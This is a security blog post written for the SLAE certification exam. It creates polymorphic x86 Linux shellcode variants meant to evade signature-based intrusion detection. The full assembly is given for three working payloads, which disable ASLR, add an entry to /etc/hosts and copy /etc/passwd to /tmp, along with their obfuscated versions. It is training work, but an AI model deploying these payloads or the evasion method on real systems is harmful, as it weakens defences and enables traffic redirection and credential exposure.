Julien Ahrens

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

SLAE: Polymorphic Shellcodes (Linux/x86)

12 Apr 2016 » Certifications

Question: How can signature-based Intrusion Detection systems be defeated? Answer: Using polymorphic shellcodes! This might sound really crazy and cyber, but it has nothing to do with inventing fancy new hacking techniques, it’s rather about puzzling. By replacing assembly instructions with other assembly instructions the original functionality is kept intact and signature-based systems are defeated. For example, the following assembly code snippet should give you an idea of what this means:

mov eax, 0x2

This simply moves the value 0x2 into eax. Exactly the same functionality could be achieved by using:

xor eax, eax
add al, 0x2

or by using:

xor ebx,ebx
inc ebx
inc ebx
xchg eax,ebx

All examples have in common that in the end 0x2 is put into EAX. It’s the very same functionality with completely different assembly instructions, and this is called a polymorphic shellcode.

Of course there are hundreds of different assembly instructions you could combine to reach the same functionality, and this is what makes the life of IDS/IPS systems really hard. In theory (in a signature-based system), you need to keep samples (or signatures) of many different mutated shellcode versions, just to match one single functionality. Since this is nearly impossible, polymorphic shellcode is used often by attackers to bypass such systems. However many vendors have introduced special heuristics watching the behavior of a shellcode, which is even harder to bypass, but not part of this blog article.

This blog post number 6 as part of my SecurityTube SLAE exam covers creating polymorphic shellcodes. The task is to:

  • Take 3 shellcodes from www.shell-storm.org and create polymorphic versions of them
  • The polymorphic versions must not exceed the size of 150% of the original shellcode
  • Bonus: Reducing the size of the polymorphic version in comparison to the original shellcode results in bonus points

Spoiler: I have met all requirements and the bonus  ;-)

Short note: Before digging into these shellcodes, I need to mention that many shellcodes on shell-storm.org are documented using AT&T assembly syntax, and since I don’t like the AT&T syntax that much, I am using the following commands to convert it to Intel syntax:

perl -e 'print "{shellcode}"' > shellcode
ndisasm -b 32 shellcode | sed -e 's/^.\{,28\}//'

Another short note: I have commented my polymorphic shellcodes inline, because  think this help to understand the mutations.

Shellcode #1: Linux/x86 ASLR deactivation - 83 bytes

The first shellcode by Jean Pascal Pereira is about the deactivation of Address Space Layer Randomization on Linux. ASLR is used to reduce the attack likelihood by randomizing memory addresses and can be queried and configured using /proc/sys/kernel/randomize_va_space. The default setting on my latest Ubuntu test VM is “2”, which means that positions of the stack, VDSO, shared memory regions and the data segment gets randomized:

slae-6_shellcode813-0

To (temporarily) disable ASLR and therefore probably increase the success likelihood of other exploits, all an attacker has to do is setting this to “0”, and this is exactly what this shellcode is doing. Please note that you need root privileges to successfully execute this shellcode!

So the original shellcode converted to Intel syntax looks like this:

xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
int 0x80
mov al,0x6
int 0x80
inc eax
int 0x80

My basic idea of the first polymorphic shellcode was to primarily obfuscate the string part “/proc/sys/kernel/randomize_va_space” of the shellcode by XORing it:

; SLAE - Assignment #6: Polymorphic Shellcodes (Linux/x86) - Part1
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
; Author:   Julien Ahrens (@MrTuxracer)
; Website:  https://www.rcesecurity.com 

global _start			

section .text
_start:
	xor eax, eax
	add eax, 0x25 		;length of payload +1 to keep decrementing loop working

	;push eax

	;Let's XOR encode the payload with 0xab

	;push dword 0x65636170
	push dword 0xcec8cadb
	;push dword 0x735f6176
	push dword 0xd8f4cadd
	;push dword 0x5f657a69
	push dword 0xf4ced1c2
	;push dword 0x6d6f646e
	push dword 0xc6c4cfc5
	;push dword 0x61722f6c
	push dword 0xcad984c7
	;push dword 0x656e7265
	push dword 0xcec5d9ce
	;push dword 0x6b2f7379
	push dword 0xc084d8d2
	;push dword 0x732f636f
	push dword 0xd884c8c4
	;push dword 0x72702f2f
	push dword 0xd9db8484

	;and decode it on the stack using a decrementing loop to get 0x0 into EAX
	loop0:
		dec al
		mov cl,[esp+eax]
		xor cl,0xab
		mov [esp+eax],cl
		cmp al, ah
	jne loop0

	mov [esp+0x24], eax 	;replaces the "push eax" instruction from the beginning

	mov ebx,esp
	;mov cx,0x2bc
	sub cx,0xcc73 		;since cl contains 0x2f from the decoding, subtracting  0xcc73 results in 0x2bc
	;mov al,0x8
	add al, 0x8 		;eax is 0x0, so adding 0x8 to get the next syscall (sys_creat)
	int 0x80

	mov ebx,eax
	push eax
	;mov dx,0x3a30
	mov dx, 0x1111
	add dx, 0x291f 		;a simple addition to get 0x3a30 into dx
	push dx
	mov ecx,esp
	;xor edx,edx
	mov edx,[esp+0x2a] 	;use 0-bytes from the payload instead of using xor for termination
	inc edx
	;mov al,0x4
	imul eax, edx, 0x4 	;multiply edx with 0x4 to get next syscall (sys_write)
	int 0x80

	;mov al,0x6
	imul eax, edx, 0x6 	;multiply edx with 0x4 to get next syscall (sys_close)
	int 0x80

	inc eax
	int 0x80

When my shellcode is executed, ASLR is successfully deactivated:

slae-6_shellcode813-1

The size of the original shellcode is 83 bytes, my polymorphic version is 114 bytes, which means an increase by ~38%.

Linux/x86 - Add map in /etc/hosts file - 77 bytes

The second shellcode by Javier Tejedor is about adding a newline to /etc/hosts, which makes it possible to e.g. redirect traffic. The original shellcode adds the entry “127.1.1.1 google.com” to the hosts file:

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"

The main idea of my polymorphic version is to obfuscate the hosts entry by subtracting 0x10 from each byte :

; SLAE - Assignment #6: Polymorphic Shellcodes (Linux/x86) - Part2
; Original: http://shell-storm.org/shellcode/files/shellcode-893.php
; Author:   Julien Ahrens (@MrTuxracer)
; Website:  https://www.rcesecurity.com 

global _start

section .text

_start:
    	;xor ecx, ecx
    	xor eax, eax		;use eax instead of ecx	

    	;mul ecx
    	cdq			;clear out edx

    	;mov al, 0x5   		
    	add al,0x5		;replace mov by add, since eax is 0x0

    	;push ecx
    	push edx

    	;push 0x7374736f     	;/etc///hosts
    	mov esi, 0x10101010	;encode target file by subtracting 0x10 on each byte
    	mov ecx, 0x6364635f	;minus 0x10 one each byte to encode the payload
    	add ecx, esi		;add 0x10 again on the stack
    	push ecx

    	;push 0x682f2f2f	
    	mov ecx, 0x581f1f1f	;minus 0x10 on each byte
    	add ecx, esi		;add 0x10 on each byte
    	push ecx

    	;push 0x6374652f
    	mov ecx, 0x5364551f	;minus 0x10 on each byte
    	add ecx, esi		;add 0x10 on each byte
    	push ecx

    	mov ebx, esp

    	xchg ecx, edx		;mov 0x0 into ecx
    	mov cx, 0x401       	;permmisions
    	int 0x80        	;syscall sys_open

    	xchg eax, ebx
    	push 0x4
    	pop eax
    	jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    	pop ecx
    	mov dword [ecx], 0x2e373231 	;replace db string on the fly
    	mov dword [ecx+4], 0x2e312e31   ;replace db string on the fly
    	mov byte [ecx+8], 0x32

    	;push 20        ;length of the string, dont forget to modify if changes the map
    	push len	;moved from static length to dynamic via equ
    	pop edx
    	int 0x80        ;syscall to write in the file (sys_write)

    	push 0x6
    	pop eax	
    	int 0x80        ;syscall to close the file (sys_close)

    	push 0x1
    	pop eax
    	int 0x80        ;syscall to exit (sys_exit)

_load_data:
    	call _write
    	;google db "127.1.1.2 google.com"
    	google db "xxxxx.x.x google.com"	;x to be replaced on the fly :)
    	len:    equ $-google

When my shellcode is executed, the new entry is successfully added to /etc/hosts:

slae6_shellcode893-1

The size of the original shellcode is 77 bytes, my polymorphic version is 109 bytes, which means an increase by ~42%.

Linux/x86 - Copy /etc/passwd to /tmp/outfile (97 bytes)

The third shellcode by Paolo Stivanin is about copying the /etc/passwd file to /tmp/outfile, which could be useful for an attcker if the /etc/passwd is not directly accessible because it is e.g. protected by a sandbox:

global _start
section .text
_start:
    xor eax,eax
    mov al,0x5
    xor ecx,ecx
    push ecx
    push 0x64777373 
    push 0x61702f63
    push 0x74652f2f
    lea ebx,[esp +1]
    int 0x80

    mov ebx,eax
    mov al,0x3
    mov edi,esp
    mov ecx,edi
    push WORD 0xffff
    pop edx
    int 0x80
    mov esi,eax

    push 0x5
    pop eax
    xor ecx,ecx
    push ecx
    push 0x656c6966
    push 0x74756f2f
    push 0x706d742f
    mov ebx,esp
    mov cl,0102o
    push WORD 0644o
    pop edx
    int 0x80

    mov ebx,eax
    push 0x4
    pop eax
    mov ecx,edi
    mov edx,esi
    int 0x80

    xor eax,eax
    xor ebx,ebx
    mov al,0x1
    mov bl,0x5
    int 0x80

The main idea of my last polymorphic version is to reduce the size of the resulting shellcode by simply mixing up push instructions, which are responsible for the payload:

; SLAE - Assignment #6: Polymorphic Shellcodes (Linux/x86) - Part3
; Original: http://shell-storm.org/shellcode/files/shellcode-864.php
; Author:   Julien Ahrens (@MrTuxracer)
; Website:  https://www.rcesecurity.com 

global _start

section .text

_start:
    	;xor eax,eax
	xor ecx,ecx
    	push ecx		;mixing things up
    	push 0x64777373 	;mixing things up by spreading push instructions
	mul ecx			;clear out eax
	;push 0x61702f63
    	push 0x61702f2f		;mixing things up & move 0x2f to get /etc//passwd instead of //etc/passwd
    	;mov al,0x5
	add al,0x5		;add 0x5 to eax for syscall (sys_open)
    	;xor ecx,ecx
	;push 0x74652f2f
    	push 0x6374652f		
    	;lea ebx,[esp +1]	;this saves some bytes :)
	mov ebx,esp
    	int 0x80

    	mov ebx,eax
    	mov al,0x3		;syscall sys_read
    	mov edi,esp
    	mov ecx,edi
    	;push WORD 0xffff
    	;pop edx
	cdq			;eax sign bit = 0 (likely), so edx is set to 0x0 too
	dec dx			;to get 0xffff into edx, dec dx will happily do the job
    	int 0x80
	mov esi,eax

    	push 0x5		;syscall sys_open
    	pop eax
    	;xor ecx,ecx
    	;push ecx
	inc dx			;set edx to 0x0 again
	push edx
    	push 0x656c6966
    	push 0x74756f2f
    	push 0x706d742f
    	mov ebx,esp	
	xchg ecx,edx		;since edx is used (instead of ecx) to push 0x0 onto the stack
	mov cl,0102o
    	;push WORD 0644o
    	;pop edx
	imul edx,ecx,0x6	;get 0644o aka 0x1a4 into edx
	add edx, 0x18		;get 0644o aka 0x1a4 into edx
    	int 0x80

    	mov ebx,eax
    	;push 0x4
    	;pop eax
	mov al,0x4		;get next syscall into eax (sys_write)
    	mov ecx,edi
    	;mov edx,esi
	xchg edx,esi		;just another way
    	int 0x80

    	;xor eax,eax
    	xor ebx,ebx		;clear ebx
	mul ebx			;clear eax
    	;mov al,0x1
	inc eax			;set syscall to 0x1 (sys_exit)
    	mov bl,0x5
    	int 0x80

When my shellcode is executed, the passwd is successfully copied to /tmp/outfile:

slae6_shellcode864-1

The size of the original shellcode is 97 bytes, my polymorphic version is 95 bytes, which means an decrease by ~2%!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE- 497